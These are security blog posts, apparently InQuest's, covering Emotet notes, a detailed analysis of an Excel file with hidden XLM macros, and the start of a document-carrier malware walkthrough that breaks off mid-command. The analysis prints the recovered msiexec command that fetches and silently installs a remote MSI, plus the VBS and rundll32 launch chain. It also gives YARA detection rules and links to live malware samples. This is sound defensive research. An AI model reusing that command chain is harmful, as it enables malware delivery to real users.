Proofpoint researchers began tracking a prolific actor (referred to as TA542) in 2014

June 12th 2019 Emotet is still offline and retooling per many conversations.
- Hypothesis so far is that they are going to add in a RDP CVE to it.
- Something happened and it got shut down. This is most likely not the case but would be nice :}
(https://pastebin.com/vwNSwbJK)
Emotet Tier 1 C2 is still down on both botnets. I wanted to update these lists because I was missing 4 combos on E1 and 8 combos on E2. The correct totals are 126 for E1 and 100 for E2. Somehow I truncated the totals and missed these 12 IP/Port combos. @0xtadavie found this oversight and provided me with the following missing combinations. Fortunately if you were just blocking on IPs, some of these were just additional ports on the same host.

Free Email Hygiene Analysis

Solid email security begins with proper email hygiene. There are a variety of email hygiene technologies and wrapping one's head around them all is challenging. Try our complimentary Email Hygiene Analysis and receive an instant report about your company's security posture including a simple rating with iterative guidance, as well as a comparison against the Fortune 500. Try it today!

Originally published 2019-07-03 on the InQuest blog.

01.29.2019: Extracting "Sneaky" Excel XLM Macros

Tue, 29 Jan 2019 00:00:00 -0600

In this article, we present our in-depth analysis of a malicious Microsoft Excel document (.xlm format) that we found in the wild. We show how existing open source tools can be utilized to carve out interesting artifacts. During our analysis, we also point out some tool limitations and present our solution to closing the gap. Ultimately, our goal is to orchestrate the carving of as many artifacts as possible, for robust threat detection and prevention.

The sample we'll dive into originally popped up on our RADAR a few weeks ago, just around the new year. Received through one of our [VirusTotal Intelligence](https://www.virustotal.com/intelligence/) YARA hunt rules that search for suspicious Microsoft Office documents. The initial sample and some relevant reports:

* SHA256: 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526
* Multi-AV: [VirusTotal](https://www.virustotal.com/en/file/98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526/analysis/)
* Sandbox detonation: [Hybrid-Analysis](https://www.hybrid-analysis.com/sample/98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526)
* [Downloadable Samples](https://github.com/InQuest/malware-samples/tree/master/2019-01-15-Mal-Excel-Doc-Macrosheet)

Initial AV detection was rather low (3/59), we'll see why when we dive into the analysis. As of the time of this blogs publish, 30 days have passed and the file has been rescanned 6 times, resulting in a total of 9 out of 59 engines successfully detecting the threat.

A Cursory Glance
----------------
First, we open the XLS file with Microsoft Excel in a virtual environment to see what it looks like to an end-user. This Excel file contains a single spreadsheet, and the spreadsheet contains a single image that instructs the reader to click "Enable content" in order to view/edit the document (Fig 1); this is a common social engineering attempt to entice the user into allowing execution of the first stage of the malware payload:

Fig 1. Enticing users to activate the first stage of the malware. We detect this and similar lures through Optical Character Recognition (OCR).

Note that the social engineering component alone of this document lure is enough to trigger InQuest threat prevention. In this particular case through the Optical Character Recognition (OCR) layer of our [Deep File Inspection (DFI) stack](https://blog.inquest.net/blog/2018/02/12/deep-file-inspection).

Let's use the popular [oledump](https://blog.didierstevens.com/programs/oledump-py/) and [olevba](https://github.com/decalage2/oletools/wiki/olevba) Python scripts, to examine whether the XLS file contains any VBA macros:

```text
$ olevba3 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526
olevba3 0.53.1 - http://decalage.info/python/oletools
Flags Filename
----------- -----------------------------------------------------------------
OLE:-------- 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526
===============================================================================
FILE: 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526
Type: OLE
No VBA macros found.

$ oledump.py 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526
1: 4096 '\x05DocumentSummaryInformation'
2: 4096 '\x05SummaryInformation'
3: 173064 'Workbook'
```

According to both tools, the document seemingly doesn't contain any VBA macros. Note that oledump can leverage an additional plugin to dive deeper into the file, more on this later. To further investigate the file, we'll employ the help of a Windows GUI tool for Structure Storage View [SSView](https://www.mitec.cz/ssv.html) and a hex editor, in this case [Hexinator](https://hexinator.com/).

A Deeper Dive
-------------
XLS is a [Compound Document File (CDF or CF)](https://www.openoffice.org/sc/compdocfileformat.pdf) or [Object Linking and Embedding (OLE) File](https://msdn.microsoft.com/en-us/library/dd942138.aspx); thus, it can be explored with any OLE/CF viewer such as SSView. OLE files are hierarchical data structures consisting of several storages and streams, analogous to folders and files on your standard file system. Fig 3 shows the structure of this particular XLS file in SSView. In this file, the **Workbook** stream is interesting as it contains all the information related to this workbook such as the included sheets. The structure of this stream is fully specified in [Microsoft Office Excel 97-2007 - Binary File Format Specification](http://download.microsoft.com/download/1/A/9/1A96F918-793B-4A55-8B36-84113F275ADD/Excel97-2007BinaryFileFormat(xls)Specification.pdf). We dump the **Workbook** stream to the filesystem by right-clicking on its name and then selecting "Save stream ...".

Fig 3. Using SSView to explore the XLS files storages and streams.

Note that we can also use 7zip to extract all storages and streams from an OLE compound file. 7zip creates a folder and a file for each relevant storage and stream parsed out of the compound file. We pull the extracted **Workbook** stream into our hex editor, and can spot a **cmd.exe** pivot at offset 0x028ABB as depicted in Fig 4.

Fig 4. Spotting the embedded cmd.exe pivot in the extracted Workbook stream.

Why the pivot through **msiexec.exe**? It's one of a myriad of "Living off the Land" (LOL) techniques that attackers employ to mask their activitiy from runtime endpoint security monitoring tools. For a well maintained list of LOL binaries and libraries, see the [LOLBAS](https://lolbas-project.github.io/) project... they have a section dedicated to [msiexec](https://lolbas-project.github.io/lolbas/Binaries/Msiexec/). The ```serf=19``` bit is interesting, see the relevant documentation in the MSDN article for [Custom Action Type 19](https://docs.microsoft.com/en-us/windows/desktop/msi/custom-action-type-19). This makes for a good hunt rule on its own. We're looking for ```serf=19``` specifically, or any other ```serf=``` and an URL prefix of ```http```:

```yara
// see: https://github.com/InQuest/yara-rules/
rule MSIExec_Pivot
{
strings:
$serf19 = "serf=19" nocase ascii wide
$msiserf1 = "msiexec" nocase ascii wide
$msiserf2 = "serf=" nocase ascii wide
$msiserf3 = "http" nocase ascii wide
condition:
$serf19 or all of ($msiserf*)
}
```

Before shifting focus to the actual MSI file that the msiexec pivots to, let's take a brief look at the domain **office365advance[.]com**. It was only registered recently, a few days before the sample in question was first seen on Virus Total. The resolving IP address geo locates to Russian and appears to host another domain as well:

| Domain | IP | Registration Date | Location |
|----------------------|:--------------:|:--------------------:|--------|
| office365advance[.]com | 185.68.93.84 | 12/26/2018 | Russia |
| krontvhouse[.]com | 185.68.93.84 | 2014 | Russia |

Further pivots can be made to uncover other related infrastructure, we leave this as an exercise for the reader and instead next examine the MSI installer which is retrieved from this domain. The MSI file has a SHA256 hash of [a5bc8c8b89177f961aa5c0413716cb94b753efbea1a1ec9061be53b1be5cd36a](https://www.virustotal.com/en/file/a5bc8c8b89177f961aa5c0413716cb94b753efbea1a1ec9061be53b1be5cd36a/analysis/) and was initially uploaded to Virus Total on the same day that office365advance[.com] was registered. Initial detection was a meager 2 detection... today, 36 AV vendors properly detect this file as malicious. A simple string analysis on the MSI reveals the URL [www.exetomsi.com](http://www.exetomsi.com/), which contains a free tool to convert executable files (.exe) to an MSI installer. Turns out, this is a valuable hunting rule as well, we've been watching the results for a while and there's plenty of other malware authors converting their payloads to MSI using this tool:

```yara
// see: https://github.com/InQuest/yara-rules/
rule Executable_Converted_to_MSI
{
strings:
$magic = /^\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1\x00\x00\x00/
$url = "www.exetomsi.com" nocase
condition:
$magic at 0 and $url
}
```

Obviously, this string is easily bleached and thus this signature is easily evaded. Finer selected heuristics will provide a more robust hunt rule, again left as an exercise for the reader.

The MSI file in turn contains a malicious binary (c354467ec5d323fecf94d33bc05eab65f90a916c39137d2b751b0e637ca5a3e4). Upon its execution, it drops a VBS script (rds.vb, 8a5041d41c552c5df95e4a18de4c343e5ac54845e275262e99a3a6e1a639f5d4), a Batch file (help.bat, 91237a76e43caa35e3fbd42d47fbaca5d6b5ea7a96c89341196d070b628122ce), and Windows DLL library (htpd.dat, 79a56ca8a7fdeed1f09466af66c24ddef5ef97ac026297f4ea32db6e01a81190). The VBS script simply executes the dropped ```help.bat``` file via a ```WScript.Shell``` pivot:

```text
# RDS.VB
CreateObject("WScript.shell").run "cmd /c %temp%\help.bat", 0, False
```

The executed batch file in turn pivots to the dropped DLL by way of rundll32.exe. Note the entry point of the DLL here is ```bogus()```:

```text
# HELP.BAT
rundll32.exe C:\Users\ZGSPBU~1\AppData\Local\Temp\htpd.dat, bogus
```

The DLL was also uploaded to [Virus Total on 12/26/18](79a56ca8a7fdeed1f09466af66c24ddef5ef97ac026297f4ea32db6e01a81190), the date of the domain registration. Initial detection was at 4, whereas today, the majority of AV engines (46) successfully detect the DLL as malicious. Unfortunately this is the end of the line for our investigation. As of the time of research, ```htpd.dat:bogus()``` attempts to retrieve a next-stage payload from one unreachable and another unregistered server. We've made public a [Joe Sandbox Detonation Report](https://jbxcloud.joesecurity.org/analysis/754882/0/html) for your perusal.

Within that report we can see two possible domains for next-stage retrieval:

| URL | Status |
|------------------------------------------|----------|
| hxxps://vesecase[.]com/support/form.php | Offline |
| hxxps://afsssdrfrm[.]pw/support/form.php | Unregistered |

Peering back into the history of the registered, but currently offline domain, we can see that as of 12/20/2018 vesecase[.]com was hosting a default Apache Ubuntu install page:

* https://research.domaintools.com/research/screenshot-history/vesecase.com/#0

Macroless Command Execution?
----------------------------
What of the original pivot though? How does the Excel malware lure transition from the user's enabling of active content, to the cmd.exe / msiexec combination? It turns out the active content resides within an XLM macro, an age old technology that is giving AV some grief as of late. These kinds of techniques appear from time to time. Collating documents through capture (data-in-motion) and aggregation (data-at-rest) into the InQuest platform empowered by Deep File Inspection (DFI) provides threat hunting teams with an analysis tool to discover previously undiscovered and targeted threats... just like this.

To discover the answer, we'll take an ever deeper look at the Workbook stream, which is in the [BIFF8 format](https://www.openoffice.org/sc/excelfileformat.pdf). First, we'll take an interactive look with the Windows tool [BIFFView++](https://www.aldeid.com/wiki/BiffView). As it is depicted in figures 5 and 6, the msiexec command is found within a **Cell Formula** (6h) record. That record is contained within the very first cell of the spreadsheet, **A1** (column 'A', row '1').

Fig 5. Determining the type of record that encompasses the malicious msiexec command. Fig 6. Structure of a Cell Formula (6h) record (ref 1)

Now, we need to determine the sheet that contains this particular cell formula. According to the [XLM Spec](http://download.microsoft.com/download/1/A/9/1A96F918-793B-4A55-8B36-84113F275ADD/Excel97-2007BinaryFileFormat(xls)Specification.pdf), all information about a sheet such as its name, type, and stream position are kept within a BOUNDSHEET record (85h). In Fig 7. we can see that this workbook has two BOUNDSHEET records; which means it has two sheets. However, one of them must be hidden as we can only see one sheet in Fig 1.

Fig 7. BOUNDSHEET records in this Workbook; representing two sheets. Fig 8. Option flags in BOUNDSHEET record (this field starts at offset 8 and is two bytes; marked as green and blue in Fig 7)

The first sheet starts at offset 0x028938 and the second one at offset 0x028C17. The cell formula that we are interested in is located at 0x028ABB; this means that this cell is in the first sheet; which is a hidden macro sheet. We can unhide the sheet by either setting the hidden state to zero within the file, or toggling the setting through the Excel interface. It is interesting to note that the hidden state can also be set to **2**; which is called *very hidden* state. *Very hidden* sheets cannot be unhidden through the Excel interface, they can only be toggled to visible via manual hex editing of the file. After unhiding the macro sheet, we can see the embedded macro clearly in the Excel GUI.

Fig 9. Macro sheet containing malicious Cell Formula pivot.

This formula is triggered when the document is opened (Auto_Open label points to cell **A1**), the user is asked to enable active content, and then the cmd.exe/msiexec and subsequent chain of events are automatically executed. As mentioned earlier, XLM 4.0 macros are an arcane technology that predate VBA even (which was introduced in Excel 5.0).

We're afforded yet another hunting opportunity here. The following YARA rule will detect Excel files with both hidden and very hidden macro sheets. Please note that not all XLM files with hidden Macro sheets are malicious.

```yara
// see: https://github.com/InQuest/yara-rules/
rule Excel_Hidden_Macro_Sheet
{
strings:
$ole_marker = {D0 CF 11 E0 A1 B1 1A E1}
$macro_sheet_h1 = {85 00 ?? ?? ?? ?? ?? ?? 01 01}
$macro_sheet_h2 = {85 00 ?? ?? ?? ?? ?? ?? 02 01}
condition:
$ole_marker at 0 and 1 of ($macro_sheet_h*)

}
```

To programmatically extract XLM macros from an Excel Workbook, we can lean on the BIFF plugin that is bundled with [@DidierStevens](https://twitter.com/DidierStevens) oledump tool. This plugin recognizes a number of functions such as EXEC, REGISTER, and HALT. First, let's explore the BIFF objects by count:

```text
# BIFF dump, sorted by record type popularity, with partial annotations.
$ oledump.py -p plugin_biff 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526 | tr -s ' ' | cut -d' ' -f4 | sort | uniq -c | sort -nr
63 XF # Extended Format 5.115
47 STYLEEXT
47 STYLE
42 ROW
41 XFEXT
40 MULBLANK
20 FORMAT
17 CONTINUE # record code=3C00XXXX (typically 3C002020 for record size)
3 EOF
3 DBCELL
3 BOF
2 WSBOOL
2 WINDOW2
2 VCENTER
2 TOPMARGIN
2 SETUP
2 SELECTION
2 SAVERECALC
2 RIGHTMARGIN
2 REFMODE
2 PRINTHEADERS
2 PRINTGRIDLINES
2 PLV
2 MSODRAWINGGROUP # code=eb002020 this is where your images are.
2 MSODRAWING # related
2 LEFTMARGIN
2 ITERATION
2 INDEX
2 HEADERFOOTER
2 HEADER
2 HCENTER
2 GUTS
2 GRIDSET
2 FORMULA # EXEC, HALT, etc. the macro content
2 FOOTER
2 FEATHEADR
2 DIMENSIONS
2 DELTA
2 DEFCOLWIDTH
2 DEFAULTROWHEIGHT
2 COLINFO
2 CALCMODE
2 CALCCOUNT
2 BOUNDSHEET # Spreadsheets
2 BOTTOMMARGIN
1 plugin
1 XFCRC
1 WRITEACCESS
1 WINDOWPROTECT
1 WINDOW1
1 USESELFS
1 THEME
1 TABLESTYLES
1 TABID
1 SUPBOOK
1 SST
1 REFRESHALL
1 RECALCID
1 PROTECT
1 PROT4REVPASS
1 PROT4REV
1 PRECISION
1 PLS
1 PASSWORD
1 OBJ
1 MTRSETTINGS
1 MMS
1 MERGECELLS
1 LABEL # This record represents a cell that contains a string.
1 INTERFACEHDR
1 INTERFACEEND
1 HIDEOBJ
1 HFPicture
1 FORCEFULLCALCULATION
1 FNGROUPCOUNT
1 EXTSST
1 EXTERNSHEET
1 EXCEL9FILE
1 DSF
1 COUNTRY
1 COMPRESSPICTURES
1 COMPAT12
1 CODEPAGE
1 BOOKEXT
1 BOOKBOOL
1 BACKUP
1 1904
```

If you're looking for "interesting" records, start with grepping for the "sheet", "label", and "formula". Let's look for the ```Auto_Open``` label and dump it, to find the cmd/msiexec combination:

```text
$ oledump.py -p plugin_biff 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526 --pluginoptions "-o label -s"
1: 4096 '\x05DocumentSummaryInformation'
2: 4096 '\x05SummaryInformation'
3: 173064 'Workbook'
Plugin: BIFF plugin
'0018 31 LABEL : Cell Value, String Constant - \x00Auto_Ope'
ASCII:
Auto_Open:
002a 2 PRINTHEADERS : Print Row/Column Labels
002a 2 PRINTHEADERS : Print Row/Column Labels

$ oledump.py -p plugin_biff 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526 --pluginoptions "-o formula"
1: 4096 '\x05DocumentSummaryInformation'
2: 4096 '\x05SummaryInformation'
3: 173064 'Workbook'
Plugin: BIFF plugin
0160 2 USESELFS : Natural Language Formulas Flag
'0006 129 FORMULA : Cell Formula - R1C1 107 ptgStr "msiexec.exe serf=19 skip=1 /i http://office365advance.com/update /q OnStart=\'c:\\windows\\notepad.exe\'" ptgFuncVarV args 1 func 006e (EXEC) '
0006 26 FORMULA : Cell Formula - R2C1 4 ptgFuncVarV args 0 func 0036 (HALT)
```

Next, let's take a look at how one could programmatically carve the image component out of the document lure.

Carving Images from XLM
-----------------------
As mentioned in the beginning, our aim is to carve as much as possible from this file. Thus, we are also interested in extracting the image embedded in this document. This is a precursor to extracting the semantic meaning through Optical Character Recognition (OCR). Common choices to accomplish this task generically include forensic tools such as http://foremost.sourceforge.net/ and https://github.com/sleuthkit/scalpel. We'll show an example of using scalpel here. However, neither provides a copy with the same fidelity as what is originally displayed upon opening the Excel document in a virtual machine:

```text
# applicable scalpel rules:
# GIF and JPG files (very common)
# gif y 5000000 \x47\x49\x46\x38\x37\x61 \x00\x3b
# gif y 5000000 \x47\x49\x46\x38\x39\x61 \x00\x00\x3b
# jpg y 200000000 \xff\xd8\xff\xe0\x00\x10 \xff\xd9
# jpg y 200000000 \xff\xd8\xff\xe1 \xff\xd9

$ scalpel -c /etc/scalpel.conf 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526/workbook
```

Fig. 10 shows the output of the carved file by scalpel in the default image viewer on Windows 10.

Fig. 10: Corrupted JPEG file extracted from the XLM file by scalpel.

Why is the file corrupted? Within the XLS/BIFFv8 format, records have a maximum size of 8,228 bytes. If the size of data is greater than what can fit in a single record, then the data must be split into chunks. The first chuck is put in the first record, and the rest of data chunks are placed in subsequent **CONTINUE (3Ch)** records. To successfully extract images from XLM files, one needs to strip these **CONTINUE** headers from the extracted image. To accomplish this task automatically, we've extended the oledump BIFF plugin (plugin_biff.py) to include a new command line switch for extracting images. You can find our patch in our Github repository (lines 570 to 603):

[https://github.com/InQuest/DidierStevensSuite/blob/BIFF-Image-Dump-Switch/plugin_biff.py#L570-L592](https://github.com/InQuest/DidierStevensSuite/blob/BIFF-Image-Dump-Switch/plugin_biff.py#L570-L592)

Here it is in action:

```text
$ oledump.py -p plugin_biff 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526 --pluginoptions "-h"
Usage: oledump.py [options]

Options:
-h, --help show this help message and exit
-e, --extract Extract images
-s, --strings Dump strings
-a, --hexascii Dump hex ascii
-o OPCODE, --opcode=OPCODE
Opcode to filter for
-f FIND, --find=FIND Content to search for

$ oledump.py -p plugin_biff 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526 --pluginoptions "-e"
1: 4096 '\x05DocumentSummaryInformation'
2: 4096 '\x05SummaryInformation'
3: 173064 'Workbook'
Plugin: BIFF plugin
00003255 0866 126 HFPicture : Header / Footer Picture
00005279 00eb 8224 MSODRAWINGGROUP : Microsoft Office Drawing Group
[EB] image + 8107 = 8107 bytes
0000729d 00eb 8224 MSODRAWINGGROUP : Microsoft Office Drawing Group
[EB] image + 8224 = 16331 bytes
000092c1 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 24555 bytes
0000b2e5 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 32779 bytes
0000d309 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 41003 bytes
0000f32d 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 49227 bytes
00011351 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 57451 bytes
00013375 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 65675 bytes
00015399 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 73899 bytes
000173bd 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 82123 bytes
000193e1 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 90347 bytes
0001b405 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 98571 bytes
0001d429 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 106795 bytes
0001f44d 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 115019 bytes
00021471 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 123243 bytes
00023495 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 131467 bytes
000254b9 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 139691 bytes
000274dd 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 147915 bytes
00027c6f 003c 1934 CONTINUE : Continues Long Records
[3C] image + 1934 = 149849 bytes
```

Conclusion
----------
In this article, we analyzed a stealthy malicious Excel document that relies on XLM macros to run embedded commands; which is an old-age technology superseded by VBA. We provided in detail on how such macros can be located in XLM binary files and also how to carve other useful information such as image files. Last not least, we also presented three YARA rules that can be used to capture malware instances that use similar technique.

If you're interested in a similar sample, take a look at:

* VT: [6f807662e04b5cfb85bc892e27a29994ddcf78e7c3311581753761fede3d5bd1](https://www.virustotal.com/en/file/6f807662e04b5cfb85bc892e27a29994ddcf78e7c3311581753761fede3d5bd1/analysis/)
* Pivot: add3565office[.]com/rstr
* Final: pointsoft[.]pw

Malware Samples (All Stages)
----------------------------
Note: The following contain links to actual malware. Though without file extensions, care should be taken. Not everyone has access to Virus Total, and we want to ensure that samples are available freely for all researchers to improve their trade craft.

| Stage | Parent Process | File Type | Name | SHA256... | Download |
|-------|:--------------:|:---------:|:--------:|-------------|----------|
| 1 | EXCEL | XLS | | 98e4695e... | [download](https://github.com/InQuest/malware-samples/blob/master/2019-01-15-Mal-Excel-Doc-Macrosheet/98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526)|
| 2 | MSIEXEC | MSI | | a5bc8c8b... | [download](https://github.com/InQuest/malware-samples/blob/master/2019-01-15-Mal-Excel-Doc-Macrosheet/stage-2-msi/a5bc8c8b89177f961aa5c0413716cb94b753efbea1a1ec9061be53b1be5cd36a) |
| 3 | MSIEXEC | EXE | | c354467e... | [download](https://github.com/InQuest/malware-samples/blob/master/2019-01-15-Mal-Excel-Doc-Macrosheet/stage-3-exe/c354467ec5d323fecf94d33bc05eab65f90a916c39137d2b751b0e637ca5a3e4) |
| 4 | WSCRIPT | VBS | rds.vbs | 8a5041d4... | [download](https://github.com/InQuest/malware-samples/blob/master/2019-01-15-Mal-Excel-Doc-Macrosheet/stage-4-vbs/8a5041d41c552c5df95e4a18de4c343e5ac54845e275262e99a3a6e1a639f5d4) |
| 5 | CMD | BAT | help.bat | 91237a76... | [download](https://github.com/InQuest/malware-samples/blob/master/2019-01-15-Mal-Excel-Doc-Macrosheet/stage-5-bat/91237a76e43caa35e3fbd42d47fbaca5d6b5ea7a96c89341196d070b628122ce) |
| 6 | RUNDLL32 | DLL | htpd.dat | 79a56ca8... | [download](https://github.com/InQuest/malware-samples/blob/master/2019-01-15-Mal-Excel-Doc-Macrosheet/stage-6-dll/79a56ca8a7fdeed1f09466af66c24ddef5ef97ac026297f4ea32db6e01a81190) |

YARA Hunting Rules
------------------
The YARA rules we defined inline above are available, along with other YARA rules we wish to share with the community. These rules should not be considered production appropriate. Rather, they are valuable for research and hunting purposes:

* [Excel_Hidden_Macro_Sheet.rule](https://github.com/InQuest/yara-rules/blob/master/Excel_Hidden_Macro_Sheet.rule)
* [Executable_Converted_to_MSI.rule](https://github.com/InQuest/yara-rules/blob/master/Executable_Converted_to_MSI.rule)
* [MSIExec_Pivot.rule](https://github.com/InQuest/yara-rules/blob/master/MSIExec_Pivot.rule)

Other YARA rules that we've open-sourced can be found at [https://github.com/InQuest/yara-rules/](https://github.com/InQuest/yara-rules/). Additionally, we maintain a curated list of awesome YARA rules, tools, and people over at: [https://github.com/pedramamini/awesome-yara/](https://github.com/pedramamini/awesome-yara/).

References
----------
* [https://blog.inquest.net/blog/2018/02/12/deep-file-inspection](https://blog.inquest.net/blog/2018/02/12/deep-file-inspection)
* [http://download.microsoft.com/download/1/A/9/1A96F918-793B-4A55-8B36-84113F275ADD/Excel97-2007BinaryFileFormat(xls)Specification.pdf](http://download.microsoft.com/download/1/A/9/1A96F918-793B-4A55-8B36-84113F275ADD/Excel97-2007BinaryFileFormat(xls)Specification.pdf)
* [https://www.openoffice.org/sc/excelfileformat.pdf](https://www.openoffice.org/sc/excelfileformat.pdf)
* [https://msdn.microsoft.com/en-us/library/dd942138.aspx](https://msdn.microsoft.com/en-us/library/dd942138.aspx)
* [https://www.mitec.cz/ssv.html](https://www.mitec.cz/ssv.html)
* [https://www.aldeid.com/wiki/BiffView](https://www.aldeid.com/wiki/BiffView)
* [https://lolbas-project.github.io/lolbas/Binaries/Msiexec/](https://lolbas-project.github.io/lolbas/Binaries/Msiexec/)
* [https://github.com/decalage2/oletools](https://github.com/decalage2/oletools)
* [https://blog.didierstevens.com/programs/oledump-py/](https://blog.didierstevens.com/programs/oledump-py/)
* [http://www.exetomsi.com](http://www.exetomsi.com)
* [https://research.domaintools.com/research/screenshot-history/vesecase.com/#0](https://research.domaintools.com/research/screenshot-history/vesecase.com/#0)
* [http://whois.domaintools.com/vesecase.com](http://whois.domaintools.com/vesecase.com)
* [http://whois.domaintools.com/office365advance.com](http://whois.domaintools.com/office365advance.com)

IOCs
----
* 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526
* a5bc8c8b89177f961aa5c0413716cb94b753efbea1a1ec9061be53b1be5cd36a
* c354467ec5d323fecf94d33bc05eab65f90a916c39137d2b751b0e637ca5a3e4
* 8a5041d41c552c5df95e4a18de4c343e5ac54845e275262e99a3a6e1a639f5d4
* 91237a76e43caa35e3fbd42d47fbaca5d6b5ea7a96c89341196d070b628122ce
* 79a56ca8a7fdeed1f09466af66c24ddef5ef97ac026297f4ea32db6e01a81190
* office365advance[.]com
* hxxp://office365advance[.]com/update
* krontvhouse[.]com
* 185.68.93.84
* vesecase[.]com
* hxxps://vesecase[.]com/support/form.php
* afsssdrfrm[.]pw
* hxxps://afsssdrfrm[.]pw/support/form.php
* add3565office[.]com
* add3565office[.]com/rstr
* pointsoft[.]pw

Originally published 2019-01-29 on the InQuest blog. Written with Amirreza Niakanlahiji.

04.19.2018: Walkthrough of a Common Malware Carrier

Thu, 19 Apr 2018 00:00:00 -0500

E-mail is a prominent vector for malware delivery, by way of a malicious URL or file attachments. When embedding malicious content within a file, malware authors commonly nest a variety of formats within one another and pivot through numerous stages of payloads before retrieving the final one. In this post, we'll walk through the dissection of a common document malware carrier.

The sample we'll dive into originally popped up on our radar a week ago, on Thursday April 12th 2018. Received through one of our [VirusTotal Intelligence](https://www.virustotal.com/intelligence/) YARA hunt rules that search for suspicious Office documents with an external reference (more on this in a second). This Tweet from [@blu3_team](https://twitter.com/blu3_team/status/986777903395373057) a few hours ago succinctly illustrated the behavior of this common carrier type, we'll dive deeper into the step-by-step analysis. We've made the original sample, subsequent stage payloads, and some intermediary files available on our GitHub [InQuest/malware-samples](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/). The initial malicious document:

* SHA256: [d347e095369aba294f674331054df8469b12d5e3260deb168827142d862f88d6](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/d347e095369aba294f674331054df8469b12d5e3260deb168827142d862f88d6)
* [OPSWAT MetaDefender](https://metadefender.opswat.com/results#!/file/YTE4MDQxOXIxQnotc3FUU2hmQms4ZldvNWFyM2Y/regular/multiscan)
* [VirusTotal](https://www.virustotal.com/en/file/d347e095369aba294f674331054df8469b12d5e3260deb168827142d862f88d6/analysis/)
* [Hybrid-Analysis](https://www.hybrid-analysis.com/sample/d347e095369aba294f674331054df8469b12d5e3260deb168827142d862f88d6)

On initial upload last week there were only three AV hits on the sample (Kaspersky, ZoneAlarm, and Zoner). Today, upon subsequent rescan, there were six:

On 4/12 the detection ration was 3/59, on 4/19 it is 6/59.

The file is a Microsoft Office .docx file, which means you can simply rename it to .zip to extract and inspect the contents. Let's grep out the URL ignoring some common domains we don't care about:

That first one pops out immediately. Let's see which file contains that particular URL and then inspect the file in its entirety:

```iq-bash
$ grep -lr http://job.softline.top/banner.jpg
word/_rels/webSettings.xml.rels

$ cat word/_rels/webSettings.xml.rels

```

There's the external reference we were alluding to earlier. At this point, a user will have opened the initial carrier and activated this reference. Retrieving the next stage payload [banner.jpg](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/banner.jpg), you'll immediately notice the file is actually an RTF document and not a JPG image. We'll use [rtfobj](http://decalage.info/python/oletools) to dissect this further by requesting it dump all the objects out of the RTF stream:

```iq-bash
$ rtfobj -s all banner.jpg -d objects
rtfobj 0.51 - http://decalage.info/python/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues

Saving file embedded in OLE object #0:
format_id = 2
class name = 'Equation.3'
data size = 3072
saving to file objects/banner.jpg_object_0000ED3A.bin

Saving file embedded in OLE object #1:
format_id = 2
class name = 'Equation.3'
data size = 3072
saving to file objects/banner.jpg_object_00010E11.bin

$ file *
banner.jpg_object_0000ED3A.bin: Composite Document File V2 Document, Cannot read section info
banner.jpg_object_00010E11.bin: Composite Document File V2 Document, Cannot read section info
```

Two Composite Document Files (CDF). We'll use [oledump](https://blog.didierstevens.com/programs/oledump-py/) to list the streams in both of the dumped objects [banner.jpg_object_0000ED3A.bin](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/banner-objects/banner.jpg_object_0000ED3A.bin) and [banner.jpg_object_00010E11.bin](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/banner-objects/banner.jpg_object_00010E11.bin):

```iq-bash
$ oledump.py banner.jpg_object_0000ED3A.bin
1: 102 '\x01CompObj'
2: 20 '\x01Ole'
3: 6 '\x03ObjInfo'
4: 197 'Equation Native'

$ oledump.py banner.jpg_object_00010E11.bin
1: 102 '\x01CompObj'
2: 20 '\x01Ole'
3: 6 '\x03ObjInfo'
4: 197 'Equation Native'
```

Each dumped object contains an "Equation Native" stream. These OLE streams contain exploits for the Microsoft Equation Editor vulnerabilities described in [CVE-2017-11882](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882) and [CVE-2018-0802](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0802). For an example proof-of-concept exploit, see [github/rxwx/CVE-2018-0802](https://github.com/rxwx/CVE-2018-0802). Let's dump each of those streams:

```iq-bash
$ oledump.py banner.jpg_object_0000ED3A.bin -s4
